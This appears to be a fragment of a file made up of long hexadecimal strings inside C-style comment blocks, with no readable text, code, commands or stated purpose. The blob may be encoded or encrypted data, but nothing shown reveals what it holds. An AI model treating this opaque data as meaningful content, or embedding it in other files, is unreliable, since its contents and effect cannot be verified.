a0e376ef58791a81202288bd89a70ba9da6523157771f13fa2fa8811416e1574be4d37fabd5af53bb499bc8469b7011606af8876064e0ba4e4e5e821af7b333465435512065e2664ac6689e4d6fd5a6b28b6aed024fcdff0cec8e914643e84e17874bd369b7dfcf9513d898133d0ee030e20282f9d197d624cd4032e9457c558f5823aef6c5ecb6757eb2ccbe6dffe0eb58eb34be10f761d354cb364c7c0be31333b64e197750e478ad604f01d077c89a6ebe1a6c789506565d530bb2ff2cd5795550a684a599472cd2ad5aba4ef31114710d34392c2ba0dbfa88f02096a6bbc2b0b1ba59dce6fc67bd65254dff4b41513090fbb519bed072b53f41416b68a13fd0d5b27b1044604a1e8111cadf28a90ff88b3f87b81524dc0951348f9191337c6a0e711fd91bbe3c4714e1dc38670a67205bc3c4f1175e8f128d61667a98300c5b3fe17656c9cdcdb15834b7371e906b912f88787ed4cf8f618203d1b8b0c534713f150f5216a4c1feb58a4e7e4c149531cfc045003f6161e655c7d3f782be96e1bbb88abef18590aacfe2f4348c7d4a6548743df6955a97e6dc9387751f90a655475ee5cb06409e988095c265130a2d5cea3fa65292f6d8aa0f062023cb7d01138e048feb3fd8dd975390a0359e6801bd52e28233db87700c6c8b8832854ef9665c5fe4e0d03a861daef16951b579fcb9ddba73b6af55db908e0c1d91914e930355656c388069e4d049f59fb77eb93334be87113209f04bb0a232fdeeb63f5e693dfe3b623b0d75e2e43289bee4065a88f79a35d9ffe5fa272cccbdaa26c14398a831e7a87f7179a0e33df26bb50a43d3c4b93abb12e310154cbad320b070634077448a175dc6ac24a63db01390a687a357927531628251949fe01a0ecf90bf4435619367256fb1dcf4e5ed8dd3393a447a82c2b092c4dc9c67f16dc3f0f72223403c8e19684f5aedb59d03c5994ce6f6d90a6f2eb5a526ec854fb84fdb3a387b3da3fc6cd1ad118c9092df915f83c74dd54f09866e30c9d0be1060c1f36297533b8c871694d898a23e18f4580426e56b40b04e9e1a36f7d8fd6b1a8237b1a98d65a2a5bb700bfa9eb817c5bab2a43310555ed024f4d3e5b853c599292388d27192f4fdc3347ffeb4be1bf26e14fe4311dc1579d417c2d93b809f021574843c51b54d9095161f9701c24b6eafe5373a01fbd798862d747ff71c2540d40e1744875d901834b198bffad1444cfa004e3e5c68a173899db937be79a178d70c1ef938834cdfef87dcf4ecb4900485a341cda313ca21ba626e4d8c98b0e48ea315521dc9868b584fdaf580f42c86b18a272d8b51a6d8e8e140af131638bd618775ba5e9889150b81f61cc97ca43622c5fe716b0c9bf01212e83f77f10f251bdfefb44d7b9f04*/
/*ce89777ba75727ffa1598ac02d50cccd34a564a0d2a6fa1594b8d4125a9d574395b2759819837c94616833e20df83003b849dc1bcce922145d2d84d42d7f331c9ea598b0693bae71d4f82b0868a517188f4e688bb70d9976a055efbbbade14648bc8e5ab1344a4be94e6d4255beebdb6c757d0ac108865db87b1ad23c1b8c1e1371de5ea4696b89bd959c6e60819377303e6882a5ea3495130dd91ed253cbcc4437613a9675cebe27ef5806a973b72385c99a9dca493a53f8406edac91f6bd3031df78b145a3be6a08bcb037e063fb70363bd585281d64b06b3ed1f57af7487f2903ef9d9f5009d4a8979814539d59e78e2729ead8dd152e9b94acd93ed8d2319e4985efbb383fd499c2a2bbefec004838ea79ea832243ac4af70bfcf184b07e927666720a62863fb7650e2d15dc7426a52be6066488077795b659aba9a514482f766aeec993dd3dc0c3bc05215179e22b8cbca17483313f9b0c362472e920bc6fc14cfdc07a9ca5c08f8cc27f54c7668fd6aef1d851c48c1b717ab46541b3bf512b1cbfe8717c270d581f80c889317a8f02e7790c71cb8b3ed8f4fadd2a3bfbe4b89dd425771a31fc28f1b7c3565a875b82eb2dee50eef5c7b394367ab6f141ac3824884918fad0b0211c6c502768bdf77863c3647658e2e0e45648206e1d34a706b4c14462320a37eb4d73e0e41583c225f5d0a65f965b2a9816055fad63fc11639c86918f4616d0efa4c21eef589d69a90cd8204d6884ef2d40b8d0ab4a3d48026e017f5ddc0325a7cfb242e2f0c33d4d22921626f30a07bee0be879cc047325b2fbcba872d3d4910a625e0e41d3e3c06f76d86bf66ee8ec702ce2a93fe28345972355832868f316c690e390709d12eefe0da1ccc39db240f6ca26b72ef35aa6a67bfa00d8b63913f026965e8b3eab6453b9f6675d2c7288caec694efdc1d15a7a52692fd7b6dd4531b1cef7a598aaddb69a0f3f68e482d864f6a0d2b939d889e0309f74a137b193a5313a1fc7b0840748d5e024572140e0748775b9be9b34251222305acaab1bfb0bd4c50a39d25eaf7d0be7832ee6b300654c6e448ca2b9c26b770b941a3d4c31771c7f031fc7c0a680a518d55c740fb46be9f422611541b9e5e75023e22fcdad946d2f72fea4999be21b01836eb25a93849dacb13e7f6b77ebb8b59e62698600cf9dcfbf1f73dc0caf2076b9b7eea41628f78c0dd138639224d9b8a103a5a681f4de7eb1a09ab187071a35eb140d3e6276dbd55ea9fa0d4d70de3eacba2fcf743e9ce5130a350db80fc9de36fa851655316711f0ea9429f3c274f59c6fd3ea976d627d7ff0c2c47b7682a5376329f2a2bc4cd268a6c6b4b7b09353dea67d403ef77063947403c9d889628fc6b7a6f6699c26f4d2ba5704fed6793ac3912102f8168871bfb8475ece6bcb1d8d220bbb982ef8703d40cfa5af8eae083e567867f6b7b04b3c368330e5114ecdb67769086e3d020fc72ba4ab77489d9e1636238a71bb8913f6ea03482e64e4f91d2c877d85e4fd92c21808859409fd138d740b8acf75dc150cbcd9b2a448328e1940aca0216761c054b58e749c68f0ff80403a9497dd86c9cb1fa324aa6ecc90998dce9714d432a6daec431b23f101c3c6e851f1a3d7957962cdb5b6eb4d8e64900751af2d817fbc39c8668c5a2f077845c419a94802af534785dbc3415ba8c5dd426f930f315b8e8a22ea22ec066cec163d763aec196e0ee29efd5a86ba27ce2369e3423a4c3ec84920f74cd80a4d2b0fc1cec898b247a620ab5b67ff71b84db2ae10c0459c9d4e4233c39aee1e27020fa4428483e158c8cc9e71588d5e8a2d7a32cff8613d815392bd905ea59ee22b9d11d706d653ccba8129f0c4facceb2f844505a87adb4fa50544f92274dcea5f835bcbbc740e23ef347fe6dabba6fe1462a4a7c8c634087023345d5d2aef4f7f6043f1318a18981277c6b273a3634b8dfcedac6e1f02926abf18fc94c07930a503199991b6267ec19ab9e7fb6e3ac4ebe875981f661019562da111a7a4899c72c23f4cb93a6353d6ecabb54ef04a9045a3e98fcd482c5123e7e03492156e96900de05a05c18c1ca68cdba01b38ce20daca5b78f4f6447f4341bfda066391dea4ab17f0861417a7acb166f5a22091c2c00f34b0f575ec98cdca61cc6d6e303a2d91160288265f47f1ee5031539a5816dc343d8b34a375b9a4394606d6fcea1f69a7fe6ff3ec2ee4fe24d571fb287321ffc49c5700e8ad54174e55b7fabe19d982679bbe4fcb7d641e42e7e60a55f42b0f3ee1bb8b2ccd1da6deda828795b0c5546de061dc02f285c2957ee02ec82987061f775bc610620aa790bbba36f085b745ba72cb3a6c9d85724d3290a713fc43d0c759b1d6574bad747f4159d53cfb10a1d65290107491201ea2f154db6c675e4478c9e05e04f0a25499b258a63717b098460253bf95a9d8610012edb7893d0ce1c527a177dc18992675d9b9da3580cf39e04d34935cc3fb4e68f28cba37e69a1c61f2ebc10f73d53f390d99df49b952c66c31dd0e5d1265b12245a5c8e68ff54e9967936110b78f06a5d42e5697ef9fcc41cea9fd5316fb0f5df0adb1573f0bbedb6ce6ce1513c9bb7e576462e2adf0f12bf3bbbcd22a8983b56e68eb65e38e082129d38dcda31e22b5d10182cfffd3ae5c25644524d6e22528321da6753d326537916ef8e3766d8db7fcc26aff27ff245db5b30186d2d0dfc5d4187085ca1a7e04ee78d11862d31e139be3a59d071ae7aab55c46bcb5d392d40545a49327f559dd316a8539591291d2d126c1b17163d83b9c8d715eb99577967b7a8*/
/*5e0ae7d6b124af28aa4ddc74dbddcc763b15b15f24f11fb78b3575d1f0ff6fe1ebd28cb04f4a6f81192c2ebf8933000a56d5301fefd0a8832234d8805b8d4cd1e9f45ea335730effd6b18ad8485dd9c67e26fa441bd24d20f5b0db630031a4cf37ef2a72fb425928cf6f635ee10fa60966156cb90e7104b1eb6b70f42d457e59ce0fb6854ade01505199da1e4e93983e72920e2fb84bedba490af9e0afbe61ac191075892bd95e06ef2212061219a735432549234b6e39439959c2296ecdb2bcb23f4ae351a95b5c8c5806244818f372aae90bbd22ead705ca0e5ae285ad397c123bb875b0e9e4ad162f671865e624f0413b30fc432afa2a03598ca13b5519f2e1f419d0546c720b4110803ec13c7cffcb49083b5d7c933b60976272d742773947666173c5c8762a92e80202fa3451be67e7c6f34397f34e9a8af78054de2dc90f0ebf88fec46a68a1e5abda6d40abc6445e63e32a5477f5d06ccd1c65af956bd934c6829acee06a6d382f0076ff72d4f2b652ad87e4f4ef42821dd0cbd5da28d0d62c06bdcee970d8c7c355c3a04540869861e3c527bbb444cddb159f625947e78e5df8bd5ddb5df7c15509c79db89d3cbb5fe944dd4b830b81b6f2b33f13f6c0239718fb8bafedae2082e31236111da4347a4cf0e1ef1c9e239f07620a250cf4e7eaffb236a2050986790f2529669dedbc313bab0d0e1ebbc612164060c27e9a7a94a2165f9957abe0e884c5a2642cc7496e07422c38665973b3f7e784c1bb6c6bcd5e9ba7a61cac66a630afe92fed8cc49a16addc9575bdeb8ac2248e3deb972ff80b0bb6431454b9e26dde9515901d5a0ea556f9e0ffa7a9e06b51db5c21c76d4385f9653922201f8ff5dc50ed5de2b1eeb7853ec8ff382cc72eb1a9b2a6a9f3923feaa7daee12b662e657d6a2242b3a92b3cff6fe557a6fdc8c43157dfbaa8acf7c8cf282787ab1b31ffe7c6a4df4969d833cd79172f1f1ba26949014e6210650c1dfb0b07a979625272dff7a0f50d4dd5713e2391daf82e684b65d95c4148b5729e626fe819030d15e3c22a1942f28ded2c07e3c36fbf9b90bcb35e82f8786a9f44f55d696e53cdee942864ba98458bf4d59bf10a6afc1530cd570f5b9c720b20ce6871de568caa368344b7146d2f809feaae7677569e8bef2221bd25ca95e323428a3881ea6efb63a60bf979b124f74dc2c01c78d685fe1557cbb8682e7fc8bc79afdfbfacc0867a2bb037c400b30370e167ee6df9bf4b104ef9c2ce1eec32b98768f43bfabb15bdffdddcdde9558d8e70d7802011570fde2ef0e6cf129b3222794104e8c9812655d375a1ee8a18c82e162e431f1aa71708ac5e222ac1b1c056148e658ba4ba64c76820bcde8a4f6207f92dc5d11d492eb25cc658ac915ccba5f68e7b64e362abe5934b53ac5102319fcc728594f718e2757653da3224cb51fc1942daeade7e306e831f1f89265ab4adbc6de1f57de3bb48224f8f2f212bc3b51ba19f5c7e7a5e7f4a539dac5fc04e2dfd9a490d2d9bb7e4a22283a3c1f66cec3b287187da06fa2fd714c036988fdfdd85ce9f939ff8eeadaa20e89069e4d33cf12a4865566c3abdc3fdcf2b93257a0c43852c822f2ce0de512a41e0919eb5725a69fb17bc688e50e86aa0e7df15a787d772280f89e7a66126a51d760bc922e8bd84e319960f6aedebfbe1ba6528cfa2cdadcb49887145dcb2044377dcc000dd7ea54b2c33c235f25184ed19ebfb8fc474701aee49ab516fabf6407d58452b93d31a5f84f03a065142415b7142174b0154b5027b801f10a00f7c38e24b2ec68b78a2e8af1a781113c4456c19252483da096ec312e58620d1a582928d7d28352f65a5ae2e6d1a62b92f71a6a810d6680c291d1b7a5774612d4c5baca62f500d7b928559ddb4a2d669643bffea6357eea40066252abed9977f74479e8500d8d391171dbcee183fa89e733ceeb0384359de2982982f286241f769d2a4e725afe8f86b6bde87962f336bc7c1775bb70208252905c64b36fd50ba672d673e62e1ebe83918fae2744d56f87b53e5e2da28170f549b50f6990f773bc7776a1f0ec1ddff116244058b02723cc054abf2db3dd2a58f610ad0ee5bbdb7c6681905fff3c73f365b19b3f168f4e4ff937f88defad5b1cc2f4c3a19efa5421814d17e1958591cf1004b23534088e30ba632c1b62ba1542ad500629067c409679f6877f56dfe29cac51487a79944f78d15383c3e407a3fdae910b8723d73e58eca4d8eff690f9ad3f72273c25396fa1520b7d0785ab8d6b27f7b2f59559f0ef600498e0a61da33a6c9babc1f3d5f31c1ea251f4fed920a3ad65da30e66228b3497844e999049ecfe861d9f4670cd68b721a13aae12f60a1923077945e66aa0d18c01cb390856b049bebb04e908b6e211ad860ad41dcd3fb06583dca4614e95eb790948d4ce00699a2f96c78e8122df228cb3b932e0852ae3cdc3cb72ed15b12d0d8b84e7a37aa5cb9ec5f945b4060d9b9737baf46290c7d563eb5451ab7bbe823df226dd01b7f412e1bbc6b4a8c88af736e5232a7982c405f0e7b66606ae3201688946f684a4d97d98522b892598673e09056044d2c9732402c8e03c4d4c6145281201a6d886fb42bf896ae698f295e9bbbf17bb9def9a8924b313176598ee2b287dbf0c83f3e4b1a10f4db9896c4d5a4bd4a326fe5e266124c69844f10654ed67c6ff1bf7e3d2f3d071dc5c11352c4a7fe666c0385ee5b18678224dc298f92317a23bc206815823def4269e78864c8be82eeafce73b3ca417bc3a163dd5a254beea63b151e5d5aa4728bd82a016ae2a28287c9*/
/*e0b3675aa366e70c6adb8936d251f97545a4b3b7d5268931439e34ed7963fd8ca6d1bb1ef029581c9c3b84ef988f01496d6156d3e41b8d7c76808a7fc2e803e3951a7cd3a3fa6f200e0db30126dd47eba361f87f09e27878dc3e44693bcaeea1934add2f57c3ac606ccaec77a302da38972f7d62e0b7cfec127cbe390bcbb033653262490b36f9bca04c4e5b2bb46476dcb9ae31274c06eebdfae2a0dcf7bb027c43856dadb64d8aef6b7f76ff8fb1bc1843553d2fa7de246874772a8daf5b52964d6075a67b6df8e297227e7c06864397b5e12e3189184ac5653fecf02edafb4100d273dcd16775d765a730e654a1d2d44888e8763d03c28c1c07ef14584b55211e358483fb5dacbdbadc90ba53b52a4d9604559fee8dc2164b486e572ba5ab327dc7fa1d36d492c22e6aa0b72c9545f47ae95906fa6e283c920d1d144af60027f63e982eb9b13956c481591053d20d133493e93cd8e492dbc22e571d0afe5933ba8aa0f4c5df457e0b991151bd8c20d03dd687e15a96facd4790f8a6a900281da77c8fd04c73749afc0bcc0a50d32c58fef4f720ae7bae93dd24cf10d533a415afaa565ba9a873a3906b32be06b8512707e18f9e144231162d23fa7fd4e030e451d86687eb77b8f0d9701dbe0b784691c9240a01e6f22e4941803add90bd012a39de6860eaf54769438f74ff289591c5608d38b45b3f703ac56f8a0240535feeec46e2f786af83e597764aa5fd7f6bb5cca9a224820a3e0e77e96021c68286aec19ea8be60c20ea8832e098a864cab9eff63688938f6871c449f9ba7740b34fa83a1eb771f0546ff1014e2806f49446bae47c2a8dd07698c3ee7fde38bc7a540f9af6b04cdc790dd1a1bd3cda2b01191d2a1ee27fbd5318e0d18c8efab8b588bfcc5bad76b6f651c8cc4d9872819c25140603a0ff3d380e383e65c3b727e63afc47f2e8a4a543978913a59b15cce9dd8aa235c514dcb0706b1288450055da81ee403f4f2869c33080388711b65a9534176d7c9728545044146fbe7e3d926a31dc9797cedb6b2a0e36a903c56cfc46031d184bc46becd55ff5b8166e42450bb559e27297bb279ddd6e4471e6466fbe2d39dadd8e4900e576635b0325b1ade0d151c5d44af4acb2c9d56722e99e01da9a546c79c5f4c298a57b27658ddf88e49f7cadd3b49fa2c6753f5ad9700917e840c8be607171d75ce181dfa199750a838f5d1f2e5d621c74ccec9f15a5ebcd7e75df445ec27a176ea6edfb660db86b6d46926568727d03e4d54135043df7bca3dcb141ed808701ce3371684d5bae46b6b0235a5949a63d91f2a82c53970703492fd1458e6d4569f19d8784e5dc8034448d89fb3c5580ad612aeb3f6a9179bf920976467c5d97a65f82adf097504070ad5f1fbbc653eff80272e485d3016bad13fe2087331244bd5dd7ee13d647cdd643b63afc95ce70578da300c80ca298ef8536705d5b294815d01c4b56042104029a05ef3624a850d62cbaefa534fc1eaef301a9a6482cb50c090ea8263284576fe943ff53a67b0b69afe00768585153231477837520d1ec8769f52ec201f9264d25fc4d6bdb970678d0ec072021ef04c619578621106a3aa55e7ef41a6c01e09a647b4c96cebd161843768f1fbc3256c2b74920389b68e7a0f246ef748a6cf96ed4fdcc4a75b26b4d628a43ad56c01006eaf42d474494f2caae1bc17a3340c5ca4b44b9304b102e7967183ce4d39ebf2644f1518a0293eddde683e87bc0d25a127fa0b06fd51c3ecb51904d847d9789110070dada804433a4d8bf44548502f6285acb4f94ff13f1fb4a662521a204747a1d710531cd28195b1166214e8c86698f48c574ad2e45787306526d1d4afcc23009a91c9aba0395a3f899e6fda5fb91f8ac44e4de72f38abb9fc4197578d6726fd5bdfbcaa4fb36d56417c2e2d64cdfd434d5e09485bd479ca1fad7158931c932f50a7d1d7cb6f74990c4d71a9f68fc3d2e567046eebaecfc74de61c650ab2aedf5bac17d00eb86827bc53213beb92b4233cf759552397b10608f69759338e28adb064b8ec976887767ba54afdf81619e644424915c1eb0797b141e88001819337726badd8904c0e9854a7e4f7738f028ff54bd41aad94ad7db1bbe9c1b92c7c06faaf1d8d9e053a241e790d3060a67f6b9c262aa5cecd9a10e5cee57fe8e7b7edc2f3b57ab4edd515342ca05a7ef20d6b9099dd03c930d3b29ff68dd1e9cb071c78c8615a7d37928c8ea029523c17935f7ab5686490f43ea6bed062ea3ba438629e2bff453bd5655b84cb2edc48e0b4b1307b5e381d3f62070827f74a12fc9c38f6a217bbae955da5f149534becc23981f7c90067c3fe5b62033f2ea6437653cd179d7dad5a80d0bf2aed49f0c88367d19ef4990ddc6bb940ef9f17cdcbcfec2e516409a2bdc9c72614b26c0ae8549e09fb472d7e026199690a0e74435263e22d80923d086ca5cb287167e256f07f0f1eac21cddac5f9d1fee1e390ffa5930dc113af27e9866b2672e5156ac89ed34a7f7a90d9a436580eb112d0158753adaf95c8b7edf077aaefe95edfad22a89c5af42c8aeb0829df8037817b17e01fa58ed58c5af7b667b9c8e2b38ba5a47eb195521ffb1cb89ef3920ff86d24b96894fe6c396e426560756d626ac596d67e3d5a05b0ffacdf089d2a74a84c353ee2057628e06967ca36a3290748dc1650d46bb74acf0fe90d14a261459d27133503f15f3910546a8485b568a9aa7111151b3caddcc2e3879a5f59f08158d6244785b59b28f1d2e89e913688bf8a76c0d8d688435efd58e5b1a0ab1c52754e516b6f08dbb742*/
/*fbdd86ab9b37d3907bb6d7730f21cc43acf5906bce69a90af0ca787b96cf2ad0b6a3853bb758c0936cc2eeb0e91433fd81d5a23a88d45f6ef9420afae9ab0e2cce6917088ee11e4e5d9de5bedd890baa37bd98d5deb8e3dee0267e984610e6f66a7053a334eaee8aeb6828146217701d8ebea0846bb1945dc99d329266cc9d55f7acfbd53658972381df6dc1ee944d72ce91f609f0066112204a2ee766d0de71925f2cc8639fab2ccc516773397732fb28d443f5df41160069ab4aa806176b7c426d7393fa8287d620e6982d0db5cb21e7d8456790914d63be4ec0585f1e7c415d2a5ebb2eccd4bee104dad515f96a0e74b252ba13b760a80b1d9a75f94f0d9f0ef6d39d25ef9f0044922d2e4816c5aaadf2cd4281aed1f9db966c4b01bef5eca33672a7d95835568790186843b5009260cdb183edb83e0b93a606b6e8ef69af55d494ce2167fb1939177be5dd3f784f05bf6706f73170d88d4a34346ed585afe9e98b751065dd79a1c5f6bdd76abb92be781792701db9f500b3ece4e41b9a506d7275adc9b207a2f1e4ed4e598a13c3510151bb7a881aa0a9f61615138a2c9e227cbc6d13daa51a5417d4bfb4aff1d38ff574e9a39f536372773fb67a2876faf2ff9243bc0559703bfcfd95de70d1403e83116ab77657d7813f59b15b641ecd823c2869f29dd9c0c465ab1c79d30d0dc77fe67e92e9282a245f24202e185aa9910736a1ac55e3605fa446b66641faf26c9f967e2b8309b79639a66b1168327971a2171e52fffcf0f6b32d5e0718e13953be4ed0cf290da33caf1a056cf183bf08ceeafd54c14d4fe246179b51d6500491ab9b07c6d51b1d549bbff12b35654704b3b1202b0195b92ed4bbc92995070cfe27fbfdb63c6b6cd92a972fd46966f6661a0a9db6b06754e328dc05f26351d4d1ea4ce5a40068b897466cd19560cbd0046849fad354271e13301a8bbbb268edfbf60fe3c728e30a0e0e4f691f35046b7c1119152fdd1e05dabe246786c4f2b5d434586d1067871abf84ef6563d788ac487ba10a44eef1dfa1ced08b2de610a7c3f0711f4fcf75fceb9d896918c909ed81c0037ef1417a6a57ec2dcc737136a1e0168dd3fa3e9d7ac460027943820c16882299f74ebe90df2015a953af98fe7c6f06c56901a70bc938f968ba513569a021d439cda1ae8b2608a675383760415a4fdc2d708aba46acfa02676eae46230600920c24d642c91306c542ca352fe2f7f00c49f9a1a6ad704ce9e24c42c2e3d9d57438ac7b9c851813b65fd0c118e6329ab3bf58e8fc20063e6e53f6f7643cbe49004a88840bb2c7e8b3bb9549d67bd0ee2758aa219f4f33d52f7be88ccb2c1e0f674adf21865a7e5b5ae8f51392dbf238fb3f9378f53ad3bdeb07b3cfec499c6031a5bbfb88fe19adc11425707479ea1cbd3a01fbca39fbdd88c750506121a1d274afe1b17a1508f094ef13e0ef431e0d3729bad20ba31de2a7822ef1337794d10fcf849a958ededd693b464608889aa49bd402dd4872296e5233a4484ad3980e62bca528227e4234adec2d95c4971ecd642dfd96fd29c89ab8244c68cd87e9a2f39b0b88a4badd1e10f62fb822a037f81fc6ec10653acde104f8ba9ba51af6679ebdf5e141c2e9251af23da182d595bc917abf71f3bd0960f760e7bcd97d261a73d6c2a21f48058574b8709b7ba31d87fc489d4ef1eef116e99ecb630a588606b9c78fab5e398c24f92d42b379f89273861146e4de0f9efdde61ff4f2a31859d0c406871bbac62c8b33b0490356d8413364b07ffc6f11779627318e100bc5c39c39f48efcf5abbf09ef1134d1dbd17cd0a98ba185d98dd378e03983db6ce5dcc12fa57998722dac73f731bdb54093ee1ad417a96c781e34906e8b4c1065bf36887d6cbb3c42468fa707218e37de462feb0c390cfad5370fb3d3e26e1f84be5f15404711367b1edacb05df250e558cebd30f20b1200587ed0b4087d5b114c41d46187a702a8d2fb6b41a9896303c2a95f6fe779de6d1e628c5b1f9ff739194578dd0d37426fbd0fb321c19e190ccddef93f4a60994f6105aef75cbb0e692650e6de94e09fa5842e2e725703fc837a6657139e92040ae060f287b3cf223f91169f6de1822a9acc7b673de5a2efaceb331ba7823bb22e3e8a5d73e5ad84c7da49ab4c6557932dee2a8b23a1a859b359abea1878de0c21331ccf1aef2892f54f37ad9c5b98ad72361fc1f31ae5d51ea8c3d7916a8e6f71b225184750c952144713aad8a58b30e02b174f5e33257e84317cfee1952e24f10210db6f58b720cb60c2dd235aac5d9ee9b7f58b9c482e11d5429b38c6a68a360ff89643a5b7a8b8134c3b9fb314b9a763e7764624d37e5c544db8d44f707fc3c69a7b03611109ab9907e66f75817f14f2ebc6d3d3276efc42c005e9f7fc5e12482805121b64e9e4f1c2c4d61138d43dd9923e6b8751bcc80784518633fb9f974d1b551b64e9fc6783459caaf3110236ddde5ac445be5018166c4732e54245d7a94b2cd1e303efde958bca1954882bc8d6e57fffa98e32ce760c24564d2dd5ed61b3e59550380cacb8bf4170e53f9ad1010f63afe7cebdf96ad0561d8dd4c0e9f42ed7c77cc4e103d4ba185f16c32b7647b04b80f5334488660fdf286f88c4e04487786026931ada7812587b58f2fe583efadcedba6818a6ae06db329309c31384ff83480867069a57db181123698f1c04825accd63ecef65e92e5c27b596d13a312a3f24defce97b8b18c4c6aad9821ecee7711bc910cf9a2e1488f8bd5afccb0558d2e823e468661c514fba4bda5016893c122528766f52058*/
/*9e35f06feb8d7442cdc4565a2577b0a5157729b3ed763c6ba6a0a9d9a7e4f028120f149be4e239e86a7c512dede51ab5fc206c04e30bc6cbd08ddce8176938fb431001fc1895c97e9b00a613fd15a3a1e894d92dd6eeb56711278519f072a0990c76174ec4f84c4a7bb8e8c1b23771f6391be6a1d289bd94b74e82988dd599b80bb55d03e8dc04a6840284547e6d55d7c61c355da802fe5ade58a7cc3a1bab0871a8a2659f2a1e49eaf914b8f817dade8b659e13fe2c3c643098cd56674691593630795ebd76372443bc4b72a81ea6d416fb575a83ff5df52ff1bd142974b8b0a9a7611a8587b871c7d3151d02ed918b9c9c35df6653190d217b71a68aaa286d32461b3340a76d071a5eb026e58c08a331187d6f0266807276923fd1cfa96276559abbec903a48a23bca4f7555030cdd149a817340040cd8825ec11774da52bbdabe30dd7cbedc3c32f80f2abe3bf09212de09fe3019a14aa2131793d603c2f23d0afd0b24f85aa78fff42fbb64837916c92906e326281d60709e3a17b1ae60febcdcce1ba9677d765458eaa97c7a85a21506de3c726f05a3cbc45c6ff0b3df60a230eebbf9235515884898322ddcadb0479f220088196e07f81bb178466acbaeebcc9830cebb68b1b347584b61593e43a699ae9d834d8c5874dc36e2b17b0debbc609d66b133309aca80542404401625f496f76afa88acb627abe3fcc9a08ea3d13465aa181de1da8df558e93122207d86a857b0363e11b091cc4e3399ccdbe31bacb61416b3a4a5aac6a239d72d0701535a3bfb88e2f3c2e69b42ee8cf85deebf0c714bdfefa756e3dd319f18e9f230cf2347bad7db7206cc91cf23c7f02fcc45e1906e9515eb0609cc0506c28d50b4959c6bc7024b2e060180b3bf92c708d7e3b6a0bdf482954edab8c4e722c6046d33ce042ff1075a0068785f444dc6d1f3d27f901fed8f2d05190212d8975fdbaf3ac0ea29225089a18dbb812732c8bacb8420c6b10f7011f833a0ee1d293c04fc3c3c0370cd2f7a5456300d2a6f4d9310f323457b6b67a83fe1a39e6df8cbb331f6679716038f543764be7e1b8761e96e29864a7045b6bff8e8ddc4845209bedc381ac0432f602a3987a4cd5b5742fcfd2abefb279e105d4e0fd2065bbc5b5870cdb470e1451b91fea531f8c94d104887bf80d8143172e26a412ff6b1ff7054865c6951a3b3bb636ea767881fb666d9b3397adc58f7174d334e461d19d3cc943a17fe51f13a37e9b0c0839aafd08e63926da9d202d1b1f35c74782da25fd3687f0ee24d5678d5518682e73cd0a09814ceca7c1e5410ce574ad1bbacb524482d5073548ef6e0abb70a37cff8e6e66bbb69a4d09f9e8123be87529357142b094a5a111d1b563b551bbdf30c9cb4b0603f0e1e3fc954072425ee7bde50de6a06ada1d09dd33bc05cba1f964969d65475d8dcc33440b51be2eff590f1b2fc721cda3ce720c1793c08f8743d56e5a51ada0b6165c637bb826c79d17b4ab106e44c3bf01329a66f5f4c70df7e2c40c0e4dbc7bc8dd44c55c1598979b3cff9213cef49407cc88d9cfe404a9e6ac92a9d972ce48df448ed345add940cfe9b6bd547f4a12b23eb16c01ca1373daf8d7180da6b020377aa23a8db54deef7a593d186dd7abbfdba3f39f0c2f4bd3c3fe95a2a9d489ed21abec996d8be57b2324d8afe24e1627292c20789c2ab1c43c5ebab23780149b1e2e95de9d18414f6517d1362726dd9617b5c5311e2af0d407b0c5461bc2d903a6d478cf6534357f3661c7ea5310557711ebfa2376d95daf47ca489a0f1cf4f7a3fd4bbde741c7f59c0fe926271f74db7e2505b85933b9b60e71055e46eec1be9afe3b81615a7c66d7fbf7281c70436f0c00427ca3d10927ba9e2dde3beb4e8e8d00be5fd208062627ada04654c266e2f4279ccc115014cdedf8ae9a3829fbb74328b3b347c417f1d7da70d167b45b2f7894a21f69d3fc74d8a9d950e6ec634af71c8fd2031b96be8a1f330c78b238e049d553a7f721133ed5b35bc1f87109952f9f627b3d0cb95cbfe03fbbdf29d5d31f6282bed7e5288cb51e3c507cef96260f59ba423eb917efaf1c3c9304103be7c9ddcb5149d43d0d8400fa6a4b08ffda7737d5e28e99ecf4a3d321843cd12695952bd5d9cb7ca26e109ebbedee93df188f99a16f03a529d9ea54f51c0e17634eeeaf05727cc26e9cc1a62c282880c223c75cb5d6bcdcbf3f7e65cb5f6f7c8baa281ec341d40f4098139558e7ed1e7e40842459863e45805dab052c184dffb4fa17176932ee756b543883d294faa3affee1e49c22077ef5c3216ab4cfc72bf8e194e46da1e01a3d601bddbad50504d633ac34c1265bada69224670846e2baac5af8248fb4f69b28b482667feef1ebd6103a25d46b055f008417910f7bf0931cd9f8581dd5a916e48adb0fb170ba8a5e86ff9fb19aa185b86033e6ce38bf7b292e6c25835d8ce1e110ca6ed1961207fa611ee710c3cb6ac1f5c31026f41ba339375e1d11f19fc5d742a5e933849576e66e929a5c2a1a95f570f9050e3af34c511fc0927390df639c852cf8da10a5616367702d0af5e61bd4f58f9f9639630aee8b5856d2c8ab472dc631eb0ca0b8fe1ddd651ab1da7f5f1404199f3bdf7cbb8af198b5534f1674f810e09e74fe4a2c31ba3bb640ed736bdc62c31c52363a1a5e91a90bdcbf25dd561c5ad1f618e7a31613276e633c2b96ee8197000be3c2643afcaf2a1596361558d18a7a926b5ee0c7971fd7b134b5b7e1a78c7812befdb803a3fab3fa89f93abfef5e50c36515e40772215700657bcc02073546bcd2a6f93ab*/
/*d0a550f7c520bcaba379d8c719277f2bcbd06450f5d0ac60ecdfd2d7834603fc2dc0289dfec5ef1a22481a291b432dfa3b9e3cd360f7d48a250f637985cf13fa1d7dcbf8831d68d3f22fe72c876313485a2e09aefb36e842d3de842d274ddc567714f84cdfa7c50f220578621cd22198a9adfdf433f56df2f62612107a9fdc694fd77dc9041fe05544a1895fc08839b0b0cfaac7335b46f0f3a894855785e370dd1d9ed76ff308ca0577848a90c5ba3f79c556f2c559ab4773b7f94809661ebb40e8facdca43ec8c02531f39b1e01afe6656945c17707b34e77a705c6cc91ccbee459234323084b7552de86ee540951c0d3cf03dbebe30822ea6851df3701abecf1300d6afc08f341e1dcd75fe9ca68acb424e37b4f1282baf2ea2951ae40308740320cb2ec7cc0914fa9ae5db1314f550ebe29dbc2bd4d037707290ea3327a7d6cefce2d4d078ac292fa47279c28045fbaa150b1a25a53f0f24e11a2f137740deab3df82a7a0533e307e7538878872322ca00a7590a2f9a14128df723f1fe47770003d966764795950a6fa66793c345629c680a3b1531bfb2042343ce5d49d79f4946ce54ce97f40ddf643832e7544e9cb24fd666e93fb5ea71a7baf071f467963aac7fae507ac24169de85feec89dfdca1a068cd92bdacd452377680e483777eb4d16cffc0bb3382e3068c3045d149cbdf9f00979c0874232cfa5e4